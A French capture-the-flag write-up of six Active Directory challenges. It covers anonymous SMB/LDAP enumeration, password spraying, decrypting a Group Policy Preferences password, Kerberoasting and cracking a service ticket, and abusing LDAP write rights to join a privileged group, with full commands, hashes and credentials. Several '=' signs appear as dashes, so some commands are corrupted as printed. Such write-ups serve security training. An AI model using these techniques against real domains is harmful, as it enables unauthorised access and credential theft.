Challenge Realist (AD)
The LDAP Chronicles 1/6
On fait simplement un enum4linux et on trouve le flag, car aucun compte n’est nécessaire !
Commande : enum4linux -U 51.77.110.239
Dans le résultat on voit cette ligne : index: 0x10ae RID: 0x466 acb: 0x00000210 Account: sarah_smith Name: (null) Desc: 404CTF{Ld4P_4n0nym0us_1s_4_B4d_Pr4ct1c3!}
Flag : 404CTF{Ld4P_4n0nym0us_1s_4_B4d_Pr4ct1c3!}
Houston, we have a problem 2/6
On doit maintenant essayer de trouver quel compte de stagiaire est vulnérable a une password spray attack.
On commence par se connecter avec : rpcclient -U « loup21247_404Player » 51.89.228.14
Puis on liste les utilisateurs avec : enumdomusers
On obtient les utilisateurs suivants :
stagiaire01 stagiaire02 stagiaire03 stagiaire04 stagiaire05 stagiaire06 stagiaire07
Il faut maintenant tenter de casser les mots de passe de ces comptes.
On peut utiliser kerbrute : kerbrute passwordspray -d ctfcorp.local –dc 51.89.228.14 users.txt PASSWORD Mais test un seul mot de passe à la fois sur tous les utilisateurs
Ou bien crackmapexec : crackmapexec smb 51.89.228.14 -u users.txt -p rockyou.txt Mais test tout les mots de passe sur le même utilisateur avant de passer au suivants
On a tester best1050 sur les 7 users stagiaires sans succès.
Finalement on a lancé rockyou.txt, on a attendu longtemps mais c’est beaucoup trop long.
Après avoir demandé au challmaker on se rend compte qu’on a pas trouver toutes les infos utiles !
enum4linux -u loup21247_404Player -p “$*!Z2792ekiuro” -a 51.89.228.14
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Public Disk Documents publics
Stagiaires Disk Documents des stagiaires
SYSVOL Disk Logon server share
Dans le partage stagiaire on a un fichier trombinoscope.txt qui donne les noms/prénoms et département de chaque stagiaire. Et un fichier procedure_stage inaccessible.
Et dans le partage « Public » on trouve un fichier qui indique que le mot de passe par défaut est « Bienvenue2024! »
On va donc tenter de se connecter au partage Stagiaires, avec les 07 stagiaires et ce mot de passe
C’est le stagiaire05 qui permet de se connecter avec ce mdp.
On obtient notre flag : 404CTF{P4ssW0rd_Spr4y_1s_T00_E4sy_F0r_St4g14ir3s}
Named Resolve 3/6
Le troisième, on cherche un réseau caché.
On a chercher pendant pas mal de temps pour finalement faire :
ldapsearch -x -H ldap://51.89.228.14 -D « loup21247_404Player@ctfcorp.local » -W -s base namingcontexts
Ce qui nous donne :
namingContexts: DC–ctfcorp,DC–local namingContexts: CN–Configuration,DC–ctfcorp,DC–local namingContexts: CN–Schema,CN–Configuration,DC–ctfcorp,DC–local namingContexts: DC–DomainDnsZones,DC–ctfcorp,DC–local namingContexts: DC–ForestDnsZones,DC–ctfcorp,DC–local
On va a donc chercher tous les objets dans DomainDnsZones :
ldapsearch -x -H ldap://51.89.230.95 -D "rose252832_404Player@ctfcorp.local" -W -b "dc--DomainDnsZones,dc--ctfcorp,dc--local" "(objectclass--*)"
On trouve un enregistrement « flag » :
# flag, challenge.ctfcorp.local, MicrosoftDNS, DomainDnsZones.ctfcorp.local
dn: DC--flag,DC--challenge.ctfcorp.local,CN--MicrosoftDNS,DC--DomainDnsZones,DC--ct
fcorp,DC--local
objectClass: top
objectClass: dnsNode
distinguishedName: DC--flag,DC--challenge.ctfcorp.local,CN--MicrosoftDNS,DC--Domai
nDnsZones,DC--ctfcorp,DC--local
instanceType: 4
whenCreated: 20250509200641.0Z
whenChanged: 20250509200641.0Z
uSNCreated: 53288
uSNChanged: 53288
showInAdvancedViewOnly: TRUE
name: flag
objectGUID:: uBYATW+5wUWezB9KD3w3Uw----
dnsRecord:: OQAQAAXwAAACAAAAAAAOEAAAAAAAAAAAODQwNENURntETlNfWjBuM19XNGxrMW5nX0
J5cDRzczNzX1RyNG5zZjNyX1Izc3RyMWN0MTBucyF9
objectCategory: CN--Dns-Node,CN--Schema,CN--Configuration,DC--ctfcorp,DC--local
dSCorePropagationData: 16010101000000.0Z
dc: flag
On décode le DnsRecord (base64) et on obtient le flag !
Flag : 404CTF{DNS_Z0n3_W4lk1ng_Byp4ss3s_Tr4nsf3r_R3str1ct10ns!}
The GPO Mission 4/6
On commence avec :
ldapsearch -x -H ldap://51.89.229.210 -D "ours814229_404Player@ctfcorp.local" -W -b "cn--Policies,cn--System,dc--DomainDnsZones,dc--ctfcorp,dc--local" "(objectclass--groupPolicyContainer)"
ldapsearch -x -H ldap://51.89.229.210 -D "ours814229_404Player@ctfcorp.local" -W -b "CN--{31B2F340-016D-11D2-945F-00C04FB984F9},CN--Policies,CN--System,DC--ctfcorp,DC--local" "(objectClass--*)"
Ensuite on se connecte avec smbclient : smbclient //51.89.229.210/SYSVOL -U « ctfcorp.local\ours814229_404Player »
On récupères tout ce qu’on trouve d’intéressant dans le dossier Policies
On trouve notamment :
<?xml version--"1.0" encoding--"utf-8"?>
<Groups clsid--"{3125E937-EB16-4b4c-9934-544FC6D24D26}">
<Group clsid--"{6D4A79E4-529C-4481-ABD0-F5BD7EA93BA7}" name--"Backup Operators" image--"2" changed--"2024-01-15 10:15:00" uid--"{12345678-1234-5678-1234-567890ABCDEF}">
<Properties action--"U" newName--"" description--"" deleteAllUsers--"0" deleteAllGroups--"0" removeAccounts--"0" groupSid--"S-1-5-32-551">
<Members>
<Member name--"CTFCORP\hidden_admin" action--"ADD" sid--""/>
<Member name--"CTFCORP\backup_service" action--"ADD" sid--""/>
</Members>
</Properties>
</Group>
</Groups>
<?xml version--"1.0" encoding--"utf-8"?>
<Drives clsid--"{8FDDCC1A-0C3C-43cd-A6B4-71A6DF20DA8C}">
<Drive clsid--"{935D1B74-9CB8-4e3c-9914-7DD559B7A417}" name--"Z:" status--"Z:" image--"0" changed--"2024-01-15 08:30:21" uid--"{12345678-90AB-CDEF-1234-567890ABCDEF}">
<Properties action--"U" thisDrive--"SHOW" allDrives--"SHOW" userName--"CTFCORP\backup_reader" password--"edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" path--"\\DC1\Backups" label--"Backups" persistent--"0" useLetter--"1" letter--"Z"/>
</Drive>
</Drives>
On va déchiffrer le mot de passe :
gpp-decrypt “edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ”
backup_reader:GPPstillStandingStrong2k18
On a maintenant accès a l’utilisateur backup_reader
On va se connecter avec ce compte sur Backups : smbclient //51.89.229.210/Backups -U « ctfcorp.local\backup_reader »
On obtient un fichier system_backup.txt et le flag :
Flag : 404CTF{GPP_Pr3f3r3nc3s_4r3_D4ng3r0us!}
The AD Guardians 5/6
On commence avec
ldapsearch -x -H ldap://51.89.230.137 -D "rose716851_404Player@ctfcorp.local" -W -b "dc--ctfcorp,dc--local" "(objectclass--*)"
Ici on a un compte sql_services avec un snp valide !
# sql_service, Users, ctfcorp.local
dn: CN--sql_service,CN--Users,DC--ctfcorp,DC--local
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: sql_service
description: SQL Server Service Account
distinguishedName: CN--sql_service,CN--Users,DC--ctfcorp,DC--local
instanceType: 4
whenCreated: 20250505163318.0Z
whenChanged: 20250510213724.0Z
uSNCreated: 54581
memberOf: CN--CTF_Player,CN--Users,DC--ctfcorp,DC--local
uSNChanged: 233930
name: sql_service
objectGUID:: +BvWnS9ShECZOKC//54xHQ----
userAccountControl: 66048
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 133920549769958092
lastLogoff: 0
lastLogon: 133920626011637279
pwdLastSet: 133909363982156734
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAA0K+mO17I1hccU3fzZQQAAA----
accountExpires: 9223372036854775807
logonCount: 10
sAMAccountName: sql_service
sAMAccountType: 805306368
userPrincipalName: sql_service@ctfcorp.local
servicePrincipalName: MSSQLSvc/dc1.ctfcorp.local:1433
objectCategory: CN--Person,CN--Schema,CN--Configuration,DC--ctfcorp,DC--local
dSCorePropagationData: 16010101000000.0Z
lastLogonTimestamp: 133913866441481848
On va demander un ticket pour ce compte : impacket-GetUserSPNs ctfcorp.local/rose716851_404Player:”%&&Szvyttf7541” -dc-ip 51.89.230.137 -request
Le hash :
$krb5tgs$23$*sql_service$CTFCORP.LOCAL$ctfcorp.local/sql_service*$e388abeee5be47837540cec97f47f5b3$40abfa5cab1916e3cc02244bfe911c7f60aa1ce4d77a609bde79c31db9816fec7811f10e414bb1d8ebfcff785833a97d04f8535fa3758d602f5653671aa1294fbdf218d5992d5199100590cb7fa81e5e7508361492cc186d0df40d601ba9f91bc43852fffc972a26fa6f22d9bb151aa9a37ff909405900ffb75aa652c0af1d36eaa0df3bfb7f1defa6b2a94c95255090f598bc0c09e8ab7dc17ba6b3174ccd61e285ec693b5eb8ec98594a87392a677767fb8963db9911742d42e8756cfb391cdd9e89e03b8d37cbcb85a00e33f25ac22bb0211ae521c5443d38d2aa13db07ad024887cf6e133e3553e75b57831b48d9118abea09871a8c004b89d94459580424510d9fcad1433ce67f32d52c0edcd4b601d2d0669f3cdc32800420ae8757be8dba1db79e985a053e1a647d1ebf920b9474f107e27410f32dc091526fe2e3c6a9ac88860e062a7887315579b8cc9b77cba0e208ad1dfba9b12ef571a025e6d6e172650028614462b89fbdd28e2298f522608cffd780b019dbd0b8e0a297a3989deb93a548b06fb219bb8f626a797a3611be1c730e5550b8d3cc089538f348c5e3827b76bcee9e2c573c54534f3d2f55e19410ed17ca732b44de295b8701ea7b6ed51789a5907757e21329c8aa1a49724433c6a5b1019e2aec97843e1f5f62534716a6bd44e0741c100b258083f19dab15f0976145fa4a5ea86927808b9fa2aec9fdb992940e5e2b514f9308f974ab85788031901e601672c43504d2a668e4c4bb99ecac183b04fc4f91d92ab139d8de991883cb29a5b3d458af978cacaa3ff2f73d983dbcaf102cbee80b890d54cffa2d2b1ad6429269ad782d7807f0f78bfa4fe6a4b9eed8ef45898a2cbe4328a4ef8ca69d1f0b1a1ad4c00ff4f51a8c266fa9658ccc9b3dbdbb3dd866d62d1d7c59f6f9ca4cf30313da6e47ef82ef331f0fc9353f7ccc0483c05c37048b74faa1cfb73728c3cb1316ed5bb1b0e7c1182b141b7c348d4481894b72f3ae45b2bedfe5f3d2e8186c2c0873df316a36746ce8d4fbdd7835a40fda7bbb2fb79fa2db5777bd5cb90d43c6848ddc0efcf2f3fc209a0189a4c533eda6870b2f5a47f91fde420228c4f1451083d8679ba470b74ab6efdde10b693474d1f67c33418e039922f6ebf87a394d293bf794dea6a8c1b7851844c6f478a88e1234ae53ca22b033be17017b900023baaf577beb174ea625882d96a4bc9b3b31cb7c1278db94db12b35c37d5204464322d1d70e04f395eda75d2f192933dff9de7eed8d1597cc99aac92be87c591138390a747cd5c2b4d44c8779e1cad4a4fd4aea0d9d19ea14999f9598b1c257cd395e7607313cc1cb3fe5c9660c793df8363e833fe868a304d220a749678e93a6f9ef1d82fab78291781efd2e4f1ec24ffddcdc7b54ed7269e40a66e3d581047660630e766b346a59ce811d1eb616d745af5072604fa1eaa4d3cba2173d6566f8dfded68b15b9ef030dbd9f9b8f90259df1ffad8f9472b65bd2ee80412d22315c5c3f7a110469d2daaae117ed815394aa45cdb5dd7c502b4386c758254f3042732794115f159db3da0fcf2c5d6ef74579124d1e8a19762bbc1da9e53f1cabccb4a4e9a9621bd1065939de25c8c04786f582ea6883fcf83272acc2eb9510bfc61a8c7a4c951a9a6843b5f9005c189148c8dbf2ec8f36e3544072fac7cf17fd35cb07b8b6121f5b
On va faire un hascat pour le craqué avec rockyou : hashcat -m 13100 hash.txt ../weakhack-sphinx/doc/_static/files_to_download/wordlists/rockyou_aa
On obtient : fantastic
ldapsearch -x -H ldap://51.89.230.137 -D "sql_service@ctfcorp.local" -W -b "dc--ctfcorp,dc--local" "(objectclass--*)" | grep hidden -B 20 -A 20
On obtient notre flag : 404CTF{K3rb3r04st1ng_1s_Th3_W4y}
Ghost Membership 6/6
On commence comme d’habitude :
enum4linux -u mer760914_404Player -p “lkhksr9077@&@P” -a 51.89.230.87
On a un partage flagshare
On va s’y connecter : smbclient //51.89.230.87/flagshare -U « ctfcorp.local\mer760914_404Player »
On voit qu’il y a un groupe CTF_FLAG, surement ce groupe qui peut lire le flag, il va essayer de rejoindre le groupe.
Merci GPT
On va créer un fichier mod.ldif :
dn: CN–CTF_Flag,CN–Users,DC–ctfcorp,DC–local changetype: modify add: member member: cn–mer760914_404Player,cn–Users,dc–ctfcorp,dc–local
Qui nous ajoute en tant que membre à CTF_Flag,
Puis on utilise ldapmodify : ldapmodify -x -D « mer760914_404Player@ctfcorp.local » -w “lkhksr9077@&@P” -H ldap://51.89.230.87-f mod.ldif
On se reconnecte au smb, et on prend récupère le fichier flag.txt : 404CTF{Wr1t3_M3mb3r5_1s_D4ng3r0us_R1ght!}